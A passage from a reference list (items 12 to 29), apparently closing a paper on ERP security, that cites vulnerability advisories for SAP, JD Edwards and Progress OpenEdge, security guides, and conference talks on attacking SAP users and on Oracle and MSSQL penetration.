[12] SAP Application Server Security Essentials: default passwords: http://dsecrg.blogspot.com/2010/11/sap-aapplication-server-security.html
[13] ERPScan: http://erpscan.com/
[14] [DSECRG-10-005] SAP Netweaver XRFC Stack Overflow: http://dsecrg.com/pages/vul/show.php?id=205
[15] [DSECRG-10-006] SAP NetWeaver MMR Denial of Service: http://dsecrg.com/pages/vul/show.php?id=206
[16] [DSECRG-09-014] SAP Cfolders Multiple Stored XSS Vulns: http://dsecrg.com/pages/vul/show.php?id=114
[17] [DSECRG-09-021] SAP Cfolders Multiple Linked XSS Vulns http://dsecrg.com/pages/vul/show.php?id=121
[18] Attacking SAP Users With SAPSploit: http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf
[19] Attacking SAP Users with SAPSploit Extended 1.1: http://dsecrg.com/files/pub/pdf/DSECRG%20SAP%20SECURITY%20-%20Attacking%20SAP%20users%20with%20sapsploit%20eXtended%201.1%20(DEEPSEC).pdf
[20] [DSECRG-10-010] SAP NetWeaver Business Client SapThemeRepository AcitiveX Control Remoted Code Execution Vuln: http://dsecrg.com/pages/vul/show.php?id=210
[21] [DSECRG-09-064] SAP GUI 7.1 Insecure Method Code Execution: http://dsecrg.com/pages/vul/show.php?id=164
[22] "Gui Scripting security guide" by SAP: http://www.sdn.sap.com/irj/scn/index?rid=/library/uuid/002444be-7018-2d10-e18e-a8c537198ef6&overridelayout=true
[23] "JDE.INI File Settings for Clients and Servers" http://books.mcgraw-hill.com/downloads/products//0072125101/0072125101_appc.pdf
[24] JD Edwards Security Program http://www.auditnet.org/docs/JDE1WorldSecurityAP.pdf
[25] Progress Open Edge http://progresssoftware.com
[26] [DSECRG-09-063] Open edge multiple vulnerabilities: http://dsecrg.com/pages/vul/show.php?id=163
[27] "Some notes on SAP security" by Alexander Polyakov at Troopers 2010 http://dsecrg.com/files/pub/pdf/Troopers10%20-%20Some%20notes%20on%20SAP%20Security.pdf
[28] Smb relays for MSSQL http://troopers09.org/content/e644/e653/TROOPERS09_siddharth_sql_injections.pdf
[29] "Penetration: from application down to OS. Getting OS access using Oracle Database unprivileged user" by Alexander Polyakov http://dsecrg.com/pages/pub/show.php?id=17